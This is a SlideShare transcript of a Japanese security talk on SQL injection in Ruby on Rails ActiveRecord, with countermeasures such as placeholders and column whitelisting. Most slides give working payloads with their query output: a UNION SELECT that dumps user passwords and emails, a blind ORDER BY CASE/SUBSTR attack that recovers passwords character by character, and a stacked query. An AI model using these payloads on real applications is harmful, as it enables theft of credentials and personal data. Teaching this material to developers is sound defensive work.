SlideShare a Scribd company logo
Rails SQL Injection Examplesの紹介
2014年6月11日
徳丸 浩
Rails SQL Injection Examplesとは
Copyright © 2010-2014 HASH Consulting Corp.
2
Rails SQL Injection Examplesとは
3http://rails-sqli.org/ より引用
Ruby on Railsの
ActiveRecordのメソッド
やオプションの指定方法
の誤りによるSQLインジェ
クションのサンプル集
Example1:whereメソッド
4http://rails-sqli.org/ より引用
whereメソッドの用途と注意点
• SQLのWHERE句を「生で」指定できる
• 文字列連結でWHERE句を組み立てると、普通
にSQLインジェクション脆弱となる
• 正しくはプレイスホルダを使う(後述)
• 前述の例は認証回避の例だが…飽きたw
Copyright © 2010-2014 HASH Consulting Corp.
5
脆弱性のあるアプリケーション
Copyright © 2010-2014 HASH Consulting Corp.
6
@books = Book.where(
"publish = '#{params[:publish]}' AND price >= #{params[:price]}")
山田 祥寛 (著)
Ruby on Rails 4 アプリケーションプログラミング
技術評論社 (2014/4/11)
に脆弱性を加えましたw
※元本に脆弱性があるわけではありません
UNION SELECTにより個人情報を窃取
Copyright © 2010-2014 HASH Consulting Corp.
7
priceに以下を入れる
1) UNION SELECT
id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --
SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >=
1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,
updated_at FROM users --)
対策 プレースホルダ
8Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用
Example2: orderメソッド
9http://rails-sqli.org/ より引用
ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って?
• ORDER BY の後には式が書ける
• 以下のSQL文は算数と国語の点数の合計でソートす
る
– SELECT * FROM 成績 ORDER BY (算数+国語)
• 以下の式は、password列の一文字目が s なら 0
そうでなければ 1 を返す
– CASE SUBSTR(password, 1, 1)
WHEN 's' THEN 0
ELSE 1
END
• よって、このORDER BYは、「パスワードの一文字目
が s」の利用者を先頭に集めるソート…だが、しかし
Copyright © 2010-2014 HASH Consulting Corp.
10
どういうページを想定しているのか?
Copyright © 2010-2014 HASH Consulting Corp.
11
こういうページですか? わかりません (>_<)
これでは、
元々が個人情
報漏えいだw
とは言え、やってみた
Copyright © 2010-2014 HASH Consulting Corp.
12
# SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd,
1, 1) WHEN 'a' THEN 0 else 1 END) asc;
id | userid | passwd | tel | mail
----+-----------+--------+--------------+---------------------
1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp
2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp
3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp
4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp
パスワードの一文字目が「a」は、実際には2件該当している
http://ror4:3000/users?order=(C
ASE+SUBSTR(passwd,1,1)+WH
EN+'a'+THEN+0+else+1+END)
パスワードの一文字目が「a」のも
のを先頭に持ってきたが、何件該
当するかが分からない。0件の可
能性もある
課題は二つ
• 個人情報の一覧ページがあり、ソート順を指定で
きるという想定が現実的でない
• 特定のソート条件は指定できるが、該当件数が
わからない
Copyright © 2010-2014 HASH Consulting Corp.
13
改良1: 別の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
14
書籍の一覧と個人情報をマップする
Copyright © 2010-2014 HASH Consulting Corp.
15
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by passwd;
id | title | userid | passwd
----+------------------------------------+-----------+-------
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
4 | 書き込み式SQLのドリル | takahashi | cdcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
16
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
(select case
when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に
else 1 -- その他は後ろに
end from users where books.id=users.id)
ORDER BY の副問い合わせ
userid=ockeghemと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
17
# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case when userid='ockeghem' then 0 else 1 end from users where
books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
先頭行がuserid=ockeghemに対応
改良2: セパレータとなる行を挟む
Copyright © 2010-2014 HASH Consulting Corp.
18
ORDER BYの副問い合わせ
Copyright © 2010-2014 HASH Consulting Corp.
19
=# SELECT books.id, books.title, users.userid, users.passwd
FROM books, users WHERE books.id=users.id order by (select
case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2
end from users where books.id=users.id);
(select case userid
when 'tanaka' then 0 -- 'tanaka' を先頭に
when 'ockeghem' then 1 -- 'ockeghem' はセパレータ
else 2 -- その他は後ろに
end from users where books.id=users.id)
※セパレータがないと、'tanaka'が存在しない場合を区別できない
ORDER BY の副問い合わせ
userid=tanakaと対応する行を見つける
Copyright © 2010-2014 HASH Consulting Corp.
20
wasbook=# SELECT books.id, books.title, users.userid,
users.passwd FROM books, users WHERE books.id=users.id order
by (select case userid when 'tanaka' then 0 when 'ockeghem'
then 1 else 2 end from users where books.id=users.id);
id | title | userid | passwd
----+------------------------------------+-----------+--------
1 | AndroidエンジニアのためのモダンJava | tanaka | abcd
3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
2 | JavaScriptライブラリ実践活用 | yamada | aaaa
4 | 書き込み式SQLのドリル | takahashi | cdcd
userid=ockeghemをセパレータに
デモを見やすくするために書籍タイトルにユーザ名を併記
Copyright © 2010-2014 HASH Consulting Corp.
21
※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません
辞書攻撃で発
見したユーザ
パスワードに対する辞書攻撃(1)
Copyright © 2010-2014 HASH Consulting Corp.
22
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='abcd' then 0 -- passwd='abcd' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaのパスワードがabcdと判明
パスワードに対する辞書攻撃(2)
Copyright © 2010-2014 HASH Consulting Corp.
23
SELECT "books".* FROM "books" ORDER BY (select case when
userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end
from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when passwd='bcda' then 0 -- passwd='bcda' を先頭に
else 2
end
from users where books.id=users.id
userid=ockeghemをセパレータに
passwd=bcda は存在しないことが判明
一文字ずつ試行するブラインドSQL
インジェクション
Copyright © 2010-2014 HASH Consulting Corp.
24
パスワードの1文字目が a の利用者を探す
Copyright © 2010-2014 HASH Consulting Corp.
25
select id, title from books order by (select case when
userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0
else 2 end from users where books.id=users.id) asc
select case
when userid='ockeghem' then 1 -- セパレータ
when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に
else 2
end from users where books.id=users.id
userid=ockeghemをセパレータに
tanakaとyamadaのパスワード
1文字目がaと判明
1回の試行で1種類の文字チェック
しかできないのは不効率だが…
Copyright © 2010-2014 HASH Consulting Corp.
26
セパレータを増やせば、一度に多く
の文字をチェック可能
Copyright © 2010-2014 HASH Consulting Corp.
27
aaaa, bbbb, cccc, ddddの4ユーザを登録
Copyright © 2010-2014 HASH Consulting Corp.
28
(select case userid
when 'aaaa' then 0
when 'bbbb' then 1
when 'cccc' then 2
when 'dddd' then 3
else 4
end from users where
books.id=users.id)
パスワードの一文字目をまとめてクエリ
Copyright © 2010-2014 HASH Consulting Corp.
29
(SELECT CASE
WHEN userid='aaaa' THEN 1
WHEN userid='bbbb' THEN 3
WHEN userid='cccc' THEN 5
WHEN userid='dddd' THEN 7
WHEN SUBSTR(passwd,1,1)='a' THEN 0
WHEN SUBSTR(passwd,1,1)='b' THEN 2
WHEN SUBSTR(passwd,1,1)='c' THEN 4
WHEN SUBSTR(passwd,1,1)='d' THEN 6
ELSE 99
END FROM users WHERE books.id=users.id)
※ 簡単化のためパスワードは a~d 4文字で構成とする
パスワードの1文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
30
tanakaとyamadaのパスワード
1文字目がaと判明
takahashiのパスワード1文字目がcと判明
ockeghemのパスワード1文字目がdと判明
tanaka a***
yamada a***
takahashi c***
ockeghem d***
パスワードの2文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
31
takahashiのパスワード2文字目がdと判明
ockeghemのパスワード2文字目がcと判明
tanaka ab**
yamada aa**
takahashi cd**
ockeghem dc**
tanakaのパスワード2文字目がbと判明
yamadaのパスワード2文字目がaと判明
パスワードの3文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
32
tanakaとtakahashiのパスワード
3文字目がcと判明
yamadaのパスワード3文字目がaと判明
ockeghemのパスワード3文字目がbと判明
tanaka abc*
yamada aaa*
takahashi cdc*
ockeghem dcb*
パスワードの4文字目を探索
Copyright © 2010-2014 HASH Consulting Corp.
33
ockeghemとyamadaのパスワ
ード1文字目がaと判明
tanaka abcd
yamada aaaa
takahashi cdcd
ockeghem dcba
tamalaとtakahashiのパスワー
ド4文字目が d と判明
もっと簡単な方法はないのか?
Copyright © 2010-2014 HASH Consulting Corp.
34
UNION(not ONION) は?
Copyright © 2010-2014 HASH Consulting Corp.
35
ORDER BYの後にUNIONは使えない
Copyright © 2010-2014 HASH Consulting Corp.
36
PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー
LINE 1: SELECT "books".* FROM "books" ORDER BY title
UNION SELECT ...
^
: SELECT "books".* FROM "books" ORDER BY title UNION
SELECT * FROM users -- asc
PostgreSQLの場合、複文は使え
ないか?
Copyright © 2010-2014 HASH Consulting Corp.
37
やはりエラーになる
Copyright © 2010-2014 HASH Consulting Corp.
38
missing attribute: isbn
SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
しかし、missing attribute: isbn
なら、別名として与えてやれば…
Copyright © 2010-2014 HASH Consulting Corp.
39
ユーザー情報の窃取に成功
Copyright © 2010-2014 HASH Consulting Corp.
40
SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS
isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM
users-- asc
対策
Copyright © 2010-2014 HASH Consulting Corp.
42
表名、列名によるSQLインジェクションの対策
• 以下のいずれか、あるいは複数を実施
• 列名をクォート&エスケープする
• 列名が許可されたものかどうかを検査する
– いわゆるホワイトリスト検査
• 列を数字で指定して、内部で列名に変換する
Copyright © 2010-2014 HASH Consulting Corp.
43
列名をシンボルに変換すると、クォート&エスケープされるが
Copyright © 2010-2014 HASH Consulting Corp.
44
SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC
def index
p = params[:order].to_sym
@books = p ? Book.order(p) : Book.all
end
ユーザ入力を無条件にシンボルに変換するのはまずい
• シンボルはGCで回収されない
• 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら
れるとメモリを過度に消費してしまう
• 類似の例にCVE-2014-0082がある
• 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される)
Copyright © 2010-2014 HASH Consulting Corp.
45
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用
まとめ
• Ruby on RailsのActiveRecordの使い方に起因するSQLイン
ジェクションを紹介
• ActiveRecordのメソッドには、与えられた文字列が「そのま
ま」SQL文に展開されるものがある
• 値パラメータについてはプレースホルダを活用
• 表名、列名、キーワードについては以下のいずれかを行う
– 表名、列名、キーワードのホワイトリスト検査
– 外部では番号で指定して、内部で表名、列名、キーワード等に変換
する
• SQL識別子のクォート&エスケープをさせる目的で、Rubyの
識別子を積極的に活用することの是非については有識者の
ご意見をお伺いしたいです
Copyright © 2010-2014 HASH Consulting Corp.
46

More Related Content

PPTX
PostgreSQLのロール管理とその注意点(Open Source Conference 2022 Online/Osaka 発表資料)
NTT DATA Technology & Innovation
 
PDF
AWSのログ管理ベストプラクティス
Akihiro Kuwano
 
PDF
PGOを用いたPostgreSQL on Kubernetes入門(PostgreSQL Conference Japan 2022 発表資料)
NTT DATA Technology & Innovation
 
PDF
PostgreSQLアンチパターン
Soudai Sone
 
PDF
Kongの概要と導入事例
briscola-tokyo
 
PDF
DockerとPodmanの比較
Akihiro Suda
 
PDF
マイクロサービス時代の認証と認可 - AWS Dev Day Tokyo 2018 #AWSDevDay
都元ダイスケ Miyamoto
 
PPTX
Redisの特徴と活用方法について
Yuji Otani
 
PostgreSQLのロール管理とその注意点(Open Source Conference 2022 Online/Osaka 発表資料)
NTT DATA Technology & Innovation
 
AWSのログ管理ベストプラクティス
Akihiro Kuwano
 
PGOを用いたPostgreSQL on Kubernetes入門(PostgreSQL Conference Japan 2022 発表資料)
NTT DATA Technology & Innovation
 
PostgreSQLアンチパターン
Soudai Sone
 
Kongの概要と導入事例
briscola-tokyo
 
DockerとPodmanの比較
Akihiro Suda
 
マイクロサービス時代の認証と認可 - AWS Dev Day Tokyo 2018 #AWSDevDay
都元ダイスケ Miyamoto
 
Redisの特徴と活用方法について
Yuji Otani
 

What's hot (20)

PDF
CyberAgentのプライベートクラウド Cycloudの運用及びモニタリングについて #CODT2020 / Administration and M...
whywaita
 
PPTX
RLSを用いたマルチテナント実装 for Django
Takayuki Shimizukawa
 
PDF
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
JustSystems Corporation
 
KEY
やはりお前らのMVCは間違っている
Koichi Tanaka
 
PPTX
[20220126] JAWS-UG 2022初頭までに葬ったAWSアンチパターン大紹介
Amazon Web Services Japan
 
PDF
MySQL 8.0で憶えておいてほしいこと
yoku0825
 
PDF
Dapr × Kubernetes ではじめるポータブルなマイクロサービス(CloudNative Days Tokyo 2020講演資料)
NTT DATA Technology & Innovation
 
PDF
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
Takuto Wada
 
PDF
MySQL 5.7にやられないためにおぼえておいてほしいこと
yoku0825
 
PDF
ドメイン駆動設計のためのオブジェクト指向入門
増田 亨
 
PDF
Javaのログ出力: 道具と考え方
Taku Miyakawa
 
PDF
ドメイン駆動設計 基本を理解する
増田 亨
 
PPTX
NGINXをBFF (Backend for Frontend)として利用した話
Hitachi, Ltd. OSS Solution Center.
 
PDF
OAuth 2.0のResource Serverの作り方
Hitachi, Ltd. OSS Solution Center.
 
PPTX
データ履歴管理のためのテンポラルデータモデルとReladomoの紹介 #jjug_ccc #ccc_g3
Hiroshi Ito
 
PDF
マイクロサービス 4つの分割アプローチ
増田 亨
 
PDF
Pythonによる黒魔術入門
大樹 小倉
 
PDF
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
Trainocate Japan, Ltd.
 
PDF
Akkaで分散システム入門
Shingo Omura
 
PDF
DBスキーマもバージョン管理したい!
kwatch
 
CyberAgentのプライベートクラウド Cycloudの運用及びモニタリングについて #CODT2020 / Administration and M...
whywaita
 
RLSを用いたマルチテナント実装 for Django
Takayuki Shimizukawa
 
Spring Boot の Web アプリケーションを Docker に載せて AWS ECS で動かしている話
JustSystems Corporation
 
やはりお前らのMVCは間違っている
Koichi Tanaka
 
[20220126] JAWS-UG 2022初頭までに葬ったAWSアンチパターン大紹介
Amazon Web Services Japan
 
MySQL 8.0で憶えておいてほしいこと
yoku0825
 
Dapr × Kubernetes ではじめるポータブルなマイクロサービス(CloudNative Days Tokyo 2020講演資料)
NTT DATA Technology & Innovation
 
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
Takuto Wada
 
MySQL 5.7にやられないためにおぼえておいてほしいこと
yoku0825
 
ドメイン駆動設計のためのオブジェクト指向入門
増田 亨
 
Javaのログ出力: 道具と考え方
Taku Miyakawa
 
ドメイン駆動設計 基本を理解する
増田 亨
 
NGINXをBFF (Backend for Frontend)として利用した話
Hitachi, Ltd. OSS Solution Center.
 
OAuth 2.0のResource Serverの作り方
Hitachi, Ltd. OSS Solution Center.
 
データ履歴管理のためのテンポラルデータモデルとReladomoの紹介 #jjug_ccc #ccc_g3
Hiroshi Ito
 
マイクロサービス 4つの分割アプローチ
増田 亨
 
Pythonによる黒魔術入門
大樹 小倉
 
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
Trainocate Japan, Ltd.
 
Akkaで分散システム入門
Shingo Omura
 
DBスキーマもバージョン管理したい!
kwatch
 
Ad

Viewers also liked (20)

PPTX
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
 
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
 
PPTX
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Hiroshi Tokumaru
 
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
 
PPTX
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru
 
PPTX
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru
 
PDF
XSS再入門
Hiroshi Tokumaru
 
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Hiroshi Tokumaru
 
PPTX
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
 
PPTX
Phpcon2015
Hiroshi Tokumaru
 
PPTX
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
Hiroshi Tokumaru
 
PPTX
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
 
PDF
CSRF脆弱性について
Masaaki Kakimoto
 
PDF
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
Hiroshi Tokumaru
 
PDF
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
Hiroshi Tokumaru
 
PDF
徳丸本ができるまで
Hiroshi Tokumaru
 
PDF
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
 
PPT
UnicodeによるXSSと SQLインジェクションの可能性
Hiroshi Tokumaru
 
PDF
文字コードに起因する脆弱性とその対策
Hiroshi Tokumaru
 
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
 
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
 
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Hiroshi Tokumaru
 
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
 
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru
 
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru
 
XSS再入門
Hiroshi Tokumaru
 
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Hiroshi Tokumaru
 
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
 
Phpcon2015
Hiroshi Tokumaru
 
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
Hiroshi Tokumaru
 
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
 
CSRF脆弱性について
Masaaki Kakimoto
 
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
Hiroshi Tokumaru
 
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
Hiroshi Tokumaru
 
徳丸本ができるまで
Hiroshi Tokumaru
 
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
 
UnicodeによるXSSと SQLインジェクションの可能性
Hiroshi Tokumaru
 
文字コードに起因する脆弱性とその対策
Hiroshi Tokumaru
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
 
Ad

Similar to Rails SQL Injection Examplesの紹介 (20)

PDF
【第3回初心者勉強会】データベースを使おう
Shuhei Iitsuka
 
PDF
Wtm
Soudai Sone
 
PDF
削除フラグのはなし
Shigetaka Yachi
 
PDF
ISUCONで学ぶ Webアプリケーションのパフォーマンス向上のコツ 実践編 完全版
Masahiro Nagano
 
KEY
メッチャ役に立つauto_incrementの話
株式会社シャーロック
 
PDF
お前の罪を数えろ
Masahiro Tomita
 
KEY
My sql casual_in_fukuoka_vol1
Makoto Haruyama
 
PDF
Random partionerのデータモデリング
2t3
 
PDF
SQLQL は GraphQL にとってなんなのか
yancya
 
PPTX
SQLインジェクション
Hiroaki Hata
 
PDF
データベースを使おう
Shuhei Iitsuka
 
PDF
Sequelのすすめ
Masahiro Tomita
 
PDF
はじめてのSql文
GIG inc.
 
PDF
Sql基礎の基礎
Satomi Tsujita
 
PPTX
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
abend_cve_9999_0001
 
PDF
Webで役立つRDBの使い方
Soudai Sone
 
PDF
データベース03 - SQL(CREATE, INSERT, DELETE, UPDATEなど)
Kenta Oku
 
PDF
Javaでmongo db
Funato Takashi
 
PDF
データベース05 - SQL(SELECT:結合,副問合せ)
Kenta Oku
 
PDF
SQLQL とは!?
yancya
 
【第3回初心者勉強会】データベースを使おう
Shuhei Iitsuka
 
削除フラグのはなし
Shigetaka Yachi
 
ISUCONで学ぶ Webアプリケーションのパフォーマンス向上のコツ 実践編 完全版
Masahiro Nagano
 
メッチャ役に立つauto_incrementの話
株式会社シャーロック
 
お前の罪を数えろ
Masahiro Tomita
 
My sql casual_in_fukuoka_vol1
Makoto Haruyama
 
Random partionerのデータモデリング
2t3
 
SQLQL は GraphQL にとってなんなのか
yancya
 
SQLインジェクション
Hiroaki Hata
 
データベースを使おう
Shuhei Iitsuka
 
Sequelのすすめ
Masahiro Tomita
 
はじめてのSql文
GIG inc.
 
Sql基礎の基礎
Satomi Tsujita
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
abend_cve_9999_0001
 
Webで役立つRDBの使い方
Soudai Sone
 
データベース03 - SQL(CREATE, INSERT, DELETE, UPDATEなど)
Kenta Oku
 
Javaでmongo db
Funato Takashi
 
データベース05 - SQL(SELECT:結合,副問合せ)
Kenta Oku
 
SQLQL とは!?
yancya
 

More from Hiroshi Tokumaru (20)

PPTX
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
 
PPTX
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
 
PPTX
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru
 
PPT
SQLインジェクション再考
Hiroshi Tokumaru
 
PPTX
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru
 
PPTX
introduction to unsafe deserialization part1
Hiroshi Tokumaru
 
PPTX
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru
 
PPTX
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru
 
PPTX
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru
 
PPTX
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
 
PPTX
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
 
PPTX
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
 
PPTX
秀スクリプトの話
Hiroshi Tokumaru
 
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
 
PPTX
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
 
PPTX
ウェブセキュリティの常識
Hiroshi Tokumaru
 
PDF
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru
 
PDF
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru
 
PPTX
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru
 
PPTX
セキュリティの都市伝説を暴く
Hiroshi Tokumaru
 
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
 
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
 
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru
 
SQLインジェクション再考
Hiroshi Tokumaru
 
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru
 
introduction to unsafe deserialization part1
Hiroshi Tokumaru
 
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru
 
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru
 
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru
 
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
 
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
 
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
 
秀スクリプトの話
Hiroshi Tokumaru
 
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
 
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
 
ウェブセキュリティの常識
Hiroshi Tokumaru
 
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru
 
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru
 
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru
 
セキュリティの都市伝説を暴く
Hiroshi Tokumaru
 

Rails SQL Injection Examplesの紹介